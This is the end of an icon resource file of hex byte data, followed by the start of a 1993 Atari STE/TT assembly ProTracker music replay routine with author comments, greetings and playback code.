0xc5, 0x58, 0x92, 0xab, 0xa8, 0x68, 0x6e, 0x82,
0x69, 0x6c, 0x7b, 0x68, 0xdb, 0x67, 0xf7, 0x68,
0x00, 0xc2
db 0xf9, 0xff
db 0x32, 0xdb, 0xfe, 0x7f, 0x60, 0x65, 0x6f, 0x77,
0x7d, 0x84, 0x8d, 0x94, 0xf2, 0x7a, 0x60, 0xc9,
0x6f, 0xb9, 0xab, 0x6e, 0x77, 0xbb, 0x58, 0x5d,
0x9e, 0xa1, 0x96, 0x56, 0x58, 0x84, 0xf4, 0xa5,
0xbc, 0x63, 0x58, 0x68, 0x97, 0xad, 0xa0, 0x5a,
0x58, 0x6c, 0xce, 0x93, 0xb9, 0x58, 0x96, 0x9e,
0x77, 0xdb, 0x68, 0xdb, 0xf5, 0x68, 0x00, 0xc2
db 0xf9, 0xff
db 0x31, 0xdb, 0xd7, 0x60, 0x65, 0x6f, 0x77, 0x7d,
0x84, 0x8d, 0x94, 0x9d, 0xe0, 0x59, 0xf1, 0x99,
0x81, 0x60, 0xe5, 0x6e, 0x8f, 0x58, 0xd7, 0x6e,
0x8f, 0xaf, 0x8e, 0x58, 0xcf, 0x75, 0xa2, 0xae,
0x75, 0x58, 0x88, 0x73, 0x7b, 0xa3, 0x6f, 0x58,
0x9e, 0x95, 0x7f, 0x71, 0x58, 0x92, 0xa8, 0xa4,
0x99, 0x5d, 0xdb, 0xf4, 0x68, 0x00, 0xc2
db 0xf9, 0xff
db 0x30, 0xdb, 0x60, 0x65, 0x6f, 0x77, 0x7d, 0x84,
0x8d, 0x93, 0x9c, 0x75, 0xea, 0x60, 0x94, 0xf4,
0xa3, 0x56, 0xd8, 0x93, 0x58, 0x7c, 0xbc, 0x77,
0x71, 0xca, 0x58, 0x88, 0x86, 0x67, 0x6e, 0x86,
0x58, 0x9c, 0xa2, 0x93, 0x60, 0xdf, 0x58, 0xb9,
0xad, 0xae, 0x78, 0x58, 0x90, 0xa9, 0xa0, 0x96,
0x75, 0x61, 0xf4, 0x68, 0x01, 0x65, 0xbe
db 0xf9, 0xff
db 0x30, 0xdb, 0x65, 0x6f, 0x77, 0x7d, 0x84, 0x8d,
0x93, 0x97, 0x7d, 0xd5, 0x87, 0x72, 0xd7, 0xa3,
0x6d, 0x75, 0x8d, 0x58, 0x57, 0x9d, 0xa5, 0x9f,
0x5b, 0x58, 0xde, 0xa7, 0xa8, 0x9a, 0x59, 0x58,
0x5f, 0x84, 0xa8, 0xa0, 0x5a, 0x58, 0x75, 0xdb,
0x86, 0x8b, 0x58, 0xf1, 0xa9, 0xa0, 0x96, 0x6f,
0x58, 0x67, 0xf5, 0x68, 0x02, 0x65, 0x62, 0xae
db 0xf9, 0xff
db 0x2f, 0xdb, 0x6f, 0x77, 0x7d, 0x84, 0x8d, 0x93,
0x95, 0x8c, 0x5b, 0x98, 0xa1, 0x91, 0x6b, 0xe3,
0x6d, 0x92, 0x58, 0xc7, 0x68, 0x7d, 0xa6, 0x8e,
0x58, 0x77, 0xf6, 0x95, 0xaf, 0x7d, 0x58, 0x8e,
0x7c, 0x74, 0x93, 0xc4, 0x58, 0x9f, 0x9d, 0x87,
0xd5, 0x58, 0x91, 0xa8, 0xa0, 0x96, 0x6f, 0x58,
0x67, 0xf5, 0x68, 0x03, 0x66, 0x62, 0x79, 0xc0
db 0xf9, 0xff
db 0x2e, 0xdb, 0x77, 0x7d, 0x84, 0x8d, 0x94, 0x96,
0xf1, 0xe1, 0x5b, 0x84, 0xa8, 0xa4, 0x5a, 0xe3,
0x91, 0x58, 0x7f, 0xf8, 0x87, 0x75, 0xd3, 0x58,
0x8d, 0x8e, 0x72, 0xce, 0x86, 0x58, 0x9b, 0xf4,
0x9f, 0xf6, 0xc3, 0x58, 0x7f, 0xf4, 0xb1, 0x84,
0x58, 0x91, 0xa9, 0xa0, 0x96, 0x6f, 0x58, 0x67,
0xf5, 0x68, 0x04, 0x65, 0x63, 0x76, 0x8e, 0xc2
db 0xf9, 0xff
db 0x2d, 0xdb, 0x7d, 0x84, 0x8d, 0x94, 0x9b, 0x95,
0x97, 0x99, 0xc8, 0x6d, 0x92, 0x6d, 0xde, 0xfc,
0x58, 0x58, 0x96, 0xaa, 0xa7, 0x65, 0x58, 0x63,
0x9e, 0xa9, 0xa0, 0x55, 0x58, 0x60, 0x72, 0xa0,
0xa1, 0x5d, 0x58, 0x81, 0xd5, 0x79, 0xbc, 0x58,
0x94, 0xa9, 0xa0, 0x96, 0x6f, 0x58, 0x67, 0xf5,
0x68, 0x05, 0x65, 0x62, 0x79, 0x8b, 0x98, 0xc2
db 0xf9, 0xff
db 0x2c, 0xdb, 0x84, 0x8d, 0xfd, 0x9c, 0x7d, 0x86,
0x9e, 0xa2, 0xa0, 0xc8, 0xe6, 0x6e, 0xbd, 0x58,
0x79, 0x69, 0x6a, 0x98, 0x8e, 0x58, 0xc9, 0x6f,
0x86, 0xad, 0xc8, 0x58, 0x91, 0x86, 0x71, 0x80,
0xde, 0x58, 0x9f, 0xa0, 0x8f, 0x57, 0x58, 0x91,
0xa8, 0xa0, 0x96, 0x6f, 0x58, 0x67, 0xf5, 0x68,
0x06, 0x66, 0x62, 0x77, 0xbb, 0x98, 0x98, 0xc2
db 0xf9, 0xff
db 0x2b, 0xdb, 0xbb, 0x93, 0x9b, 0x79, 0xd5, 0x63,
0x77, 0x93, 0x97, 0x92, 0xe1, 0xbc, 0x58, 0x7c,
0x9d, 0x91, 0x7c, 0xc7, 0x58, 0x90, 0x99, 0x83,
0x6a, 0xb8, 0x58, 0x92, 0xad, 0xa9, 0x84, 0x68,
0x58, 0xde, 0x9c, 0xb1, 0xb9, 0x58, 0x92, 0xa9,
0xa0, 0x96, 0x6f, 0x58, 0x67, 0xf5, 0x68, 0x03,
0x65, 0x63, 0x75, 0x8c, 0xfe, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x2a, 0xdb, 0xf1, 0x95, 0xd9, 0xdb, 0xde, 0x71,
0x62, 0x79, 0x95, 0x9e, 0xbb, 0x58, 0x58, 0x8d,
0xad, 0xac, 0x77, 0x58, 0x5a, 0x92, 0xf3, 0xa4,
0x59, 0x58, 0x68, 0x68, 0x95, 0xa3, 0xd5, 0x58,
0x8b, 0x6f, 0x72, 0x91, 0x58, 0x93, 0xa8, 0xa0,
0x96, 0x6f, 0x58, 0x67, 0xf5, 0x68, 0x03, 0x66,
0x62, 0x74, 0x8a, 0xfd, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x29, 0xdb, 0x95, 0x98, 0xed, 0x77, 0x82, 0x87,
0x78, 0xee, 0x9a, 0xd4, 0x58, 0x76, 0xf6, 0x58,
0x87, 0x92, 0x58, 0xd0, 0xf7, 0x76, 0xa2, 0xda,
0x58, 0x93, 0x8d, 0x74, 0x6a, 0x58, 0x58, 0x9d,
0xa4, 0x9a, 0x55, 0x58, 0x90, 0xa9, 0xa0, 0x96,
0x6f, 0x58, 0x67, 0xf5, 0x68, 0x03, 0x66, 0x63,
0x75, 0x89, 0xfc, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x28, 0xdb, 0x8c, 0x95, 0x75, 0x69, 0x7a, 0x7f,
0xd5, 0xe2, 0x8e, 0x58, 0x72, 0x9e, 0x99, 0x85,
0x67, 0x58, 0x92, 0xa2, 0x93, 0x73, 0xd7, 0x58,
0x84, 0xac, 0xad, 0x94, 0x58, 0x77, 0x6b, 0x87,
0xad, 0x88, 0x58, 0x94, 0xa9, 0xa0, 0x96, 0x6f,
0x58, 0x67, 0xf5, 0x68, 0x03, 0x65, 0x63, 0x73,
0x8b, 0xfb, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x27, 0xdb, 0x84, 0x8b, 0x8b, 0x6e, 0xd5, 0xee,
0xf7, 0xfc, 0x58, 0x58, 0x81, 0xab, 0xb0, 0x85,
0x58, 0x59, 0x87, 0xa8, 0xa7, 0x60, 0x58, 0x75,
0x67, 0x8b, 0xa7, 0x58, 0x84, 0xf1, 0x7f, 0x72,
0xbb, 0x58, 0x92, 0xa8, 0xa0, 0x96, 0x6f, 0x58,
0x67, 0xf5, 0x68, 0x03, 0x66, 0x62, 0x75, 0x8a,
0xfa, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x26, 0xdb, 0x84, 0x85, 0x93, 0x97, 0x7f, 0xdd,
0xbc, 0x58, 0x75, 0x7d, 0x58, 0x7c, 0x97, 0x58,
0x87, 0x75, 0x69, 0xbb, 0x82, 0x58, 0x96, 0x94,
0x7d, 0x5e, 0x58, 0x57, 0x99, 0xa8, 0xa2, 0x5e,
0x58, 0x90, 0xa9, 0xa0, 0x96, 0x6f, 0x58, 0x67,
0xf5, 0x68, 0x03, 0x66, 0x63, 0x75, 0x8a, 0xf9,
0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x25, 0xdb, 0xfe, 0x87, 0x86, 0xbc, 0x92, 0xf1,
0xec, 0x66, 0xa0, 0x9e, 0xbb, 0x5c, 0x58, 0x8d,
0xa8, 0x9f, 0x83, 0x6e, 0x58, 0x75, 0xa4, 0xaf,
0x9d, 0x58, 0x7a, 0x69, 0x73, 0xa2, 0xb9, 0x58,
0xf1, 0xa9, 0xa0, 0x96, 0x6f, 0x58, 0x67, 0xf5,
0x68, 0x03, 0x65, 0x63, 0x74, 0x8a, 0xf8, 0x98,
0x00, 0xc2
db 0xf9, 0xff
db 0x24, 0xdb, 0xfe, 0xba, 0x88, 0x85, 0x8c, 0x99,
0xd9, 0x77, 0xa1, 0xf9, 0xbb, 0x58, 0xdb, 0x7e,
0xa6, 0xab, 0x6e, 0x58, 0x82, 0x6b, 0x82, 0xa7,
0x58, 0x84, 0x9b, 0xbb, 0x76, 0x87, 0x58, 0x93,
0xa8, 0xa0, 0x96, 0x6f, 0x58, 0x67, 0xf5, 0x68,
0x03, 0x66, 0x62, 0x76, 0x8a, 0xf7, 0x98, 0x00,
0xc2
db 0xf9, 0xff
db 0x23, 0xdb, 0xfe, 0xba, 0xef, 0xb9, 0x86, 0x8e,
0xbc, 0x6f, 0x6e, 0x96, 0x58, 0x77, 0x6f, 0x5f,
0x7d, 0x7c, 0x58, 0x9b, 0x9d, 0xfb, 0x5b, 0x58,
0x59, 0x91, 0xcd, 0xf4, 0xf6, 0x58, 0x98, 0xad,
0xa0, 0x96, 0x6f, 0x58, 0x67, 0xf5, 0x68, 0x03,
0x65, 0x63, 0x78, 0x8c, 0xf6, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x22, 0xdb, 0xfe, 0xba, 0xef, 0x98, 0x8b, 0x86,
0x8a, 0xb9, 0x69, 0xe7, 0x65, 0x7f, 0x83, 0xd7,
0xe4, 0x58, 0x68, 0x94, 0xad, 0xa0, 0x58, 0x7b,
0x6e, 0x63, 0x90, 0x8c, 0x58, 0xe8, 0xfe, 0x9e,
0x96, 0x6f, 0x58, 0x67, 0xf5, 0x68, 0x03, 0x65,
0x63, 0x75, 0x8e, 0xf5, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x21, 0xdb, 0xfe, 0xba, 0x93, 0x98, 0x98, 0x89,
0x86, 0x93, 0xf1, 0xd7, 0x65, 0x71, 0x82, 0x6a,
0x58, 0x76, 0x6d, 0x76, 0xa0, 0x58, 0x7d, 0x9e,
0x98, 0x80, 0x77, 0x58, 0x71, 0x6b, 0xce, 0x80,
0x6f, 0x58, 0x67, 0xf5, 0x68, 0x03, 0x65, 0x62,
0x79, 0x8d, 0xf4, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xfe, 0xba, 0x93, 0xfe, 0x98, 0x19,
0x89, 0x87, 0x8d, 0x8b, 0xf6, 0x5e, 0x6f, 0xd5,
0x7d, 0xc9, 0x7a, 0x5d, 0x58, 0x5d, 0xfe, 0xac,
0xaf, 0x7f, 0x58, 0xf7, 0x79, 0x7f, 0x79, 0xce,
0x58, 0x67, 0xf5, 0x68, 0x03, 0x65, 0x63, 0x7e,
0x90, 0xf3, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xb9, 0xba, 0xef, 0xfd, 0x98, 0x17,
0x8a, 0x86, 0xbc, 0x93, 0xd6, 0xce, 0x58, 0x7f,
0x85, 0x7e, 0x58, 0x71, 0x65, 0x5d, 0x82, 0x8f,
0x58, 0x69, 0x68, 0xde, 0x7a, 0x68, 0x58, 0x67,
0xf6, 0x68, 0x04, 0x67, 0x65, 0x62, 0x7f, 0x95,
0xf2, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xfe, 0xba, 0x93, 0xfc, 0x98, 0x15,
0x88, 0x87, 0x91, 0x94, 0xf7, 0xdb, 0x6e, 0x7c,
0x62, 0x6a, 0x7f, 0xd7, 0x73, 0x6a, 0x58, 0xdc,
0xf7, 0x63, 0x67, 0x66, 0x58, 0x67, 0xf7, 0x68,
0x05, 0x69, 0x66, 0x64, 0xce, 0x82, 0x96, 0xf1,
0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xfe, 0xba, 0x93, 0xfb, 0x98, 0x12,
0x8b, 0x86, 0x8d, 0xbb, 0x73, 0x63, 0xd5, 0x60,
0x7b, 0x7d, 0x86, 0x74, 0x58, 0x6c, 0x79, 0x7e,
0x84, 0x5f, 0x58, 0xf6, 0x68, 0x05, 0x69, 0xce,
0x64, 0x65, 0x85, 0x99, 0xf0, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xfe, 0xba, 0x93, 0xfa, 0x98, 0x10,
0x88, 0x87, 0x93, 0x97, 0x79, 0x5b, 0x62, 0x7a,
0x7d, 0x74, 0x58, 0xe4, 0x65, 0xf7, 0x7d, 0x6e,
0x58, 0xf6, 0x68, 0x05, 0x69, 0x64, 0x63, 0x67,
0xbb, 0x9b, 0xef, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xfe, 0xba, 0x93, 0xf9, 0x98, 0x0e,
0x8a, 0x86, 0x8c, 0x8c, 0xf7, 0x5c, 0x6b, 0x6f,
0x58, 0xde, 0x6f, 0x64, 0xd5, 0x68, 0x58, 0xf6,
0x68, 0x04, 0x69, 0x63, 0x64, 0x6b, 0x8c, 0xed,
0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xb9, 0xba, 0x93, 0xf8, 0x98, 0x0c,
0x8a, 0x86, 0x91, 0x96, 0x77, 0xce, 0x5d, 0x74,
0x78, 0x7a, 0x7f, 0x5d, 0x58, 0xf6, 0x68, 0x04,
0x69, 0x62, 0x63, 0x6f, 0x92, 0xec, 0x98, 0x00,
0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xb9, 0xba, 0xef, 0xf7, 0x98, 0x0a,
0x88, 0x86, 0xbc, 0x8e, 0x73, 0x5a, 0x6f, 0xde,
0x7c, 0x6b, 0x58, 0xf6, 0x68, 0x04, 0x69, 0x62,
0xce, 0x74, 0x9a, 0xeb, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xfe, 0xba, 0x93, 0xf6, 0x98, 0x09,
0x8b, 0x85, 0xbb, 0x90, 0x77, 0x63, 0x76, 0x68,
0x58, 0x67, 0xf7, 0x68, 0x04, 0x69, 0x62, 0x66,
0x79, 0x9b, 0xea, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x03, 0xdb, 0xfe, 0xba, 0x93, 0xf5, 0x98, 0x07,
0x88, 0x87, 0x93, 0xf1, 0xde, 0x64, 0x5c, 0x67,
0xf9, 0x68, 0x06, 0x69, 0x68, 0x68, 0xd5, 0x68,
0x7b, 0xa0, 0xe9, 0x98, 0x00, 0xc2
db 0xf9, 0xff
db 0x00, 0xdb, 0xf2, 0xc2, 0x07, 0xcc, 0x92, 0x87,
0x8d, 0xbb, 0x70, 0x64, 0x65, 0xfa, 0x68, 0x07,
0x69, 0x68, 0xce, 0xd5, 0x6f, 0x83, 0xcd, 0xcd,
0xfe, 0xff, 0x01, 0xbf, 0xc1, 0xed, 0xc2
db 0x04, 0x00, 0x00, 0x3f, 0xff, 0xf0, 0xfe, 0x00
db 0xef, 0x01, 0x06, 0x92, 0x82, 0xf1, 0x95, 0x7f,
0x69, 0x67, 0xfc, 0x68, 0x05, 0x69, 0x68, 0xd5,
0x63, 0x75, 0xcb, 0xe5, 0x01
db 0x04, 0x00, 0x00, 0x1f, 0xff, 0xe0, 0xfe, 0x00
db 0xee, 0x01, 0x0f, 0x8f, 0xfa, 0xbb, 0x8f, 0x79,
0x62, 0x63, 0x68, 0x68, 0x69, 0x68, 0x68, 0x61,
0x67, 0xc9, 0xa7, 0xe4, 0x01
db 0x04, 0x00, 0x00, 0x0f, 0xff, 0xc0, 0xfe, 0x00
db 0xed, 0x01, 0x0d, 0x9a, 0x85, 0x8e, 0x92, 0x7d,
0x6b, 0x68, 0x68, 0x66, 0x67, 0x61, 0x6c, 0x8b,
0x9d, 0xe3, 0x01
db 0x04, 0x00, 0x00, 0x07, 0xff, 0x80, 0xfe, 0x00
db 0xec, 0x01, 0x0b, 0x91, 0x87, 0x90, 0xbc, 0x7c,
0x69, 0x63, 0x65, 0x63, 0x73, 0x95, 0x9d, 0xe2,
0x01
db 0x03, 0x00, 0x00, 0x03, 0xfe, 0xfd, 0x00
db 0xeb, 0x01, 0x08, 0xd2, 0x84, 0x87, 0x85, 0x6f,
0x62, 0x6a, 0x84, 0xa3, 0xe0, 0x01
db 0x03, 0x00, 0x00, 0x01, 0xfc, 0xfd, 0x00
db 0xea, 0x01, 0x06, 0xfe, 0x87, 0x8a, 0x7d, 0x74,
0x81, 0xa9, 0xdf, 0x01
db 0xfe, 0x00, 0x00, 0xf0, 0xfd, 0x00
db 0xe9, 0x01, 0x00, 0xd2, 0xfe, 0xd0, 0xdd, 0x01
GSEndString
}
}
end AppMonikerResource;
|
{
"language": "Assembly"
}
|
;----------------------------------------------------------
;
;
;
;
;
;
; PROtracker replay routine
; ÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿ ÿÿÿÿÿÿÿ
; converted
; by:
;
; ¯ Lance ®
;
;
;
;
;
;
;----------------------------------------------------------
; ....PROtracker was invented by Freelancers (Amiga)....
;----------------------------------------------------------
; This version includes the version 3 of my Paula emulators
; It's totally rewritten and by combining several tricks
; I'm manage to do a 50kHz(!!!) replay routine that only
; takes around 30% and I'm not using any cheats like over-
; sample. This version is indeed four times faster than my
; first replay routine and I hope all you hackers out there
; will like my routine and would like to contact me :
;----------------------------------------------------------
; M†rten R†nge
; Oxelv„gen 6
; 524 32 HERRLJUNGA
; SWEDEN
;----------------------------------------------------------
; Or call:
;----------------------------------------------------------
; +46-(0)513-10137
; (Ask for M†rten , Maarten in english)
;----------------------------------------------------------
; This program is a CardWare program. Which means if you
; like it and use it regulary you are encouraged to send
; me a card or a letter(I prefer them without bombs(joke!))
; and tell me how much like my routine and that you think
; that I'm the greatest coder in the world etc. etc.
; This will encourage me to go on with my work on a UCDM -
; player and a Octalizer routine(XIA contacted me after he
; saw my version 0 of my Paula emulators and it's much
; thanks to him and to all others that have contacted me
; that version is made. So as you can see,contacting the
; programmer is very important.).
;----------------------------------------------------------
; Some Greets:
; ÿÿÿÿÿÿÿÿÿÿÿÿ
; OMEGA and Electra - ( The Best DemoCrews in Sweden )
; Delta Force - (DiscMaggie has never looked better )
; AGGRESSION - ('BrainDamage' is really ultra-cool )
;-------------
; NewCore - (What do you think about this replay , Blade?)
; NoCrew - (Should be named CoolCrew (they're very nice))
; Chip - ( Good friend (and also a Teadrinker) )
; XIA - (It was nice to meet you at 'Motorola inside')
; ICE - ( Hi there,TECHWAVE )
;-------------
; Special greet to AURA - I don't know you guys but it's
; thanks to you and your demo 'HiFi-dreams' that I realized
; that it's possible to make a 50kHz replay routine.
;-------------
; And to all members in IMPULSE (They paid me for this!)
;----------------------------------------------------------
; Some notes:
; Always call mt_Paula before mt_music ,this because
; mt_music sometimes takes more time and sometimes takes
; less. DON'T use Trap0 because I am using that to switch
; between Supervisor- and Usermode.
;----------------------------------------------------------
; P.S. This replay routine supports every PT2.2 command D.S
;----------------------------------------------------------
; - Lance / M†rten R†nge 1993/08/22
;----------------------------------------------------------
machine = 0 ; 0=STE, 1=TT (fix by ray//.tSCc. 2k3)
n_note equ 0 ; w
n_cmd equ 2 ; w
n_cmdlo equ 3 ; b
n_start equ 4 ; l
n_length equ 8 ; w
n_loopstart equ 10 ; l
n_replen equ 14 ; w
n_period equ 16 ; w
n_finetune equ 18 ; b
n_volume equ 19 ; b
n_dmabit equ 20 ; w
n_toneportdirec equ 22 ; b
n_toneportspeed equ 23 ; b
n_wantedperiod equ 24 ; w
n_vibratocmd equ 26 ; b
n_vibratopos equ 27 ; b
n_tremolocmd equ 28 ; b
n_tremolopos equ 29 ; b
n_wavecontrol equ 30 ; b
n_glissfunk equ 31 ; b
n_sampleoffset equ 32 ; b
n_pattpos equ 33 ; b
n_loopcount equ 34 ; b
n_funkoffset equ 35 ; b
n_wavestart equ 36 ; l
n_reallength equ 40 ; w
rsreset
mt_sample_point rs.l 1
mt_sample_end rs.l 1
mt_loop_start rs.l 1
mt_volume rs.w 1
mt_period rs.w 1
mt_add_iw rs.w 1
mt_check_dummy rs.w 1
opt a+,o-
ifne machine
comment HEAD=%011 ; Fastram support for TT's
endc
section text
music_lance_pt50_init:
bsr mt_init
rts
music_lance_pt50_exit:
bsr mt_stop_Paula
clr.b $ffff8901.w ;Kill sample playback
rts
music_lance_pt50_play:
bsr mt_Paula
bsr mt_music
rts
mt_init
ifne machine
pea.l 2*2000.w ; Reserve dma buffers in ST-Ram (TT only)
move.w #$48,-(sp) ; Make sure your main-program releases
trap #1 ; unneeded memory using Mshrink() before
addq.l #6,sp
lea.l mt_physic_buf(pc),a0
move.l d0,(a0)+ ; Store pointers to reserved space
addi.l #2*1000,d0
move.l d0,(a0)
endc
lea mt_data,a0
move.l a0,mt_songdataptr
move.l a0,a1
lea 952(a1),a1
moveq #127,d0
moveq #0,d1
mtloop move.l d1,d2
subq.w #1,d0
mtloop2 move.b (a1)+,d1
cmp.b d2,d1
bgt.s mtloop
dbra d0,mtloop2
addq.b #1,d2
lea mt_samplestarts(pc),a1
asl.l #8,d2
asl.l #2,d2
add.l #1084,d2
add.l a0,d2
move.l d2,a2
moveq #30,d0
moveq #0,d2
lea 42(a0),a0
mtloop3 clr.l (a2)
move.l a2,d1
add.l d2,d1
move.l d1,(a1)+
moveq #0,d1
move.w (a0),d1
asl.l #1,d1
add.l d1,a2
add.w #640,d2
tst.w 4(a0)
bne.s .mt_no_test
cmp.w #1,6(a0)
ble.s .mt_no_test
subq.w #1,6(a0)
move.w #1,4(a0)
.mt_no_test add.l #30,a0
dbra d0,mtloop3
add.w d2,a2
lea mt_module_end,a1
move.l a2,(a1)
move.b #6,mt_speed
move.b #6,mt_counter
clr.b mt_songpos
clr.w mt_patternpos
lea -31*640(a2),a1
moveq #30,d7
mt_init_loops sub.w #30,a0
lea -640(a2),a2
lea (a2),a3
move.w (a0),d0
beq.s .mt_just_loop
subq.w #1,d0
.mt_copy_spl move.w -(a1),-(a2)
dbra d0,.mt_copy_spl
.mt_just_loop moveq #0,d0
move.w 4(a0),d0
sne d1
andi.w #$4,d1
move.l mt_loop_point(pc,d1.w),a4
jsr (a4)
dbra d7,mt_init_loops
move.l mt_samplestarts,a0
move.l mt_module_end,a1
.mt_shift_down move.b (a0),d0
asr.b #1,d0
move.b d0,(a0)+
cmp.l a0,a1
bne.s .mt_shift_down
bra.w mt_init_Paula
mt_loop_point dc.l .mt_no_loop
dc.l .mt_yes_loop
.mt_no_loop move.w #640/4-1,d0
.mt_clear_loop clr.l (a3)+
dbra d0,.mt_clear_loop
rts
.mt_yes_loop add.l d0,d0
lea (a2,d0.l),a4
lea (a4),a5
moveq #0,d1
move.w 4(a0),d1
add.w 6(a0),d1
move.w d1,(a0)
add.l d1,d1
lea (a2,d1.l),a3
move.w 6(a0),d1
move.w #320-1,d2
.mt_loop_loop move.w (a4)+,(a3)+
subq.w #1,d1
bne.s .mt_no_restart
lea (a5),a4
move.w 6(a0),d1
.mt_no_restart dbra d2,.mt_loop_loop
rts
mt_music movem.l d0-d4/a0-a6,-(sp)
addq.b #1,mt_counter
move.b mt_counter(pc),d0
cmp.b mt_speed(pc),d0
blo.s mt_nonewnote
clr.b mt_counter
tst.b mt_pattdeltime2
beq.s mt_getnewnote
bsr.s mt_nonewallchannels
bra mt_dskip
mt_nonewnote
bsr.s mt_nonewallchannels
bra mt_nonewposyet
mt_nonewallchannels
lea mt_channel_0,a5
lea mt_chan1temp(pc),a6
bsr mt_checkefx
lea mt_channel_1,a5
lea mt_chan2temp(pc),a6
bsr mt_checkefx
lea mt_channel_2,a5
lea mt_chan3temp(pc),a6
bsr mt_checkefx
lea mt_channel_3,a5
lea mt_chan4temp(pc),a6
bra mt_checkefx
mt_getnewnote
move.l mt_songdataptr(pc),a0
lea 12(a0),a3
lea 952(a0),a2 ;pattpo
lea 1084(a0),a0 ;patterndata
moveq #0,d0
moveq #0,d1
move.b mt_songpos(pc),d0
move.b (a2,d0.w),d1
asl.l #8,d1
asl.l #2,d1
add.w mt_patternpos(pc),d1
clr.w mt_dmacontemp
lea mt_channel_0,a5
lea mt_chan1temp(pc),a6
bsr.s mt_playvoice
lea mt_channel_1,a5
lea mt_chan2temp(pc),a6
bsr.s mt_playvoice
lea mt_channel_2,a5
lea mt_chan3temp(pc),a6
bsr.s mt_playvoice
lea mt_channel_3,a5
lea mt_chan4temp(pc),a6
bsr.s mt_playvoice
bra mt_setdma
mt_playvoice tst.l (a6)
bne.s mt_plvskip
bsr mt_pernop
mt_plvskip move.l (a0,d1.l),(a6)
addq.l #4,d1
moveq #0,d2
move.b n_cmd(a6),d2
and.b #$f0,d2
lsr.b #4,d2
move.b (a6),d0
and.b #$f0,d0
or.b d0,d2
tst.b d2
beq mt_setregs
moveq #0,d3
lea mt_samplestarts(pc),a1
move d2,d4
subq.l #1,d2
asl.l #2,d2
mulu #30,d4
move.l (a1,d2.l),n_start(a6)
move.w (a3,d4.l),n_length(a6)
move.w (a3,d4.l),n_reallength(a6)
move.b 2(a3,d4.l),n_finetune(a6)
move.b 3(a3,d4.l),n_volume(a6)
move.w 4(a3,d4.l),d3 ; get repeat
tst.w d3
beq.s mt_noloop
move.l n_start(a6),d2 ; get start
asl.w #1,d3
add.l d3,d2 ; add repeat
move.l d2,n_loopstart(a6)
move.l d2,n_wavestart(a6)
move.w 4(a3,d4.l),d0 ; get repeat
add.w 6(a3,d4.l),d0 ; add replen
move.w d0,n_length(a6)
move.w 6(a3,d4.l),n_replen(a6) ; save replen
moveq #0,d0
move.b n_volume(a6),d0
move.w d0,mt_volume(a5) ; set volume
bra.s mt_setregs
mt_noloop move.l n_start(a6),d2
move.l d2,n_loopstart(a6)
move.l d2,n_wavestart(a6)
move.w 6(a3,d4.l),n_replen(a6) ; save replen
moveq #0,d0
move.b n_volume(a6),d0
move.w d0,mt_volume(a5) ; set volume
mt_setregs move.w (a6),d0
and.w #$0fff,d0
beq mt_checkmoreefx ; if no note
move.w 2(a6),d0
and.w #$0ff0,d0
cmp.w #$0e50,d0
beq.s mt_dosetfinetune
move.b 2(a6),d0
and.b #$0f,d0
cmp.b #3,d0 ; toneportamento
beq.s mt_chktoneporta
cmp.b #5,d0
beq.s mt_chktoneporta
cmp.b #9,d0 ; sample offset
bne.s mt_setperiod
bsr mt_checkmoreefx
bra.s mt_setperiod
mt_dosetfinetune
bsr mt_setfinetune
bra.s mt_setperiod
mt_chktoneporta
bsr mt_settoneporta
bra mt_checkmoreefx
mt_setperiod
movem.l d0-d1/a0-a1,-(sp)
move.w (a6),d1
and.w #$0fff,d1
lea mt_periodtable(pc),a1
moveq #0,d0
moveq #36,d7
mt_ftuloop cmp.w (a1,d0.w),d1
bhs.s mt_ftufound
addq.l #2,d0
dbra d7,mt_ftuloop
mt_ftufound
moveq #0,d1
move.b n_finetune(a6),d1
mulu #36*2,d1
add.l d1,a1
move.w (a1,d0.w),n_period(a6)
movem.l (sp)+,d0-d1/a0-a1
move.w 2(a6),d0
and.w #$0ff0,d0
cmp.w #$0ed0,d0 ; notedelay
beq mt_checkmoreefx
btst #2,n_wavecontrol(a6)
bne.s mt_vibnoc
clr.b n_vibratopos(a6)
mt_vibnoc
btst #6,n_wavecontrol(a6)
bne.s mt_trenoc
clr.b n_tremolopos(a6)
mt_trenoc
move.l n_start(a6),mt_sample_point(a5) ; set start
moveq #0,d0
move.w n_length(a6),d0 ; set length
add.l d0,d0
add.l mt_sample_point(a5),d0
move.l d0,mt_sample_end(a5)
move.l n_loopstart(a6),d0
cmp.l mt_sample_point(a5),d0
bne.s .mt_set_loop
moveq #0,d0
.mt_set_loop move.l d0,mt_loop_start(a5)
move.w n_period(a6),d0
move.w d0,mt_period(a5) ; set period
move.w n_dmabit(a6),d0
or.w d0,mt_dmacontemp
bra mt_checkmoreefx
mt_setdma
mt_dskip add.w #16,mt_patternpos
move.b mt_pattdeltime,d0
beq.s mt_dskc
move.b d0,mt_pattdeltime2
clr.b mt_pattdeltime
mt_dskc tst.b mt_pattdeltime2
beq.s mt_dska
subq.b #1,mt_pattdeltime2
beq.s mt_dska
sub.w #16,mt_patternpos
mt_dska tst.b mt_pbreakflag
beq.s mt_nnpysk
sf mt_pbreakflag
moveq #0,d0
move.b mt_pbreakpos(pc),d0
clr.b mt_pbreakpos
lsl.w #4,d0
move.w d0,mt_patternpos
mt_nnpysk cmp.w #1024,mt_patternpos
blo.s mt_nonewposyet
mt_nextposition
moveq #0,d0
move.b mt_pbreakpos(pc),d0
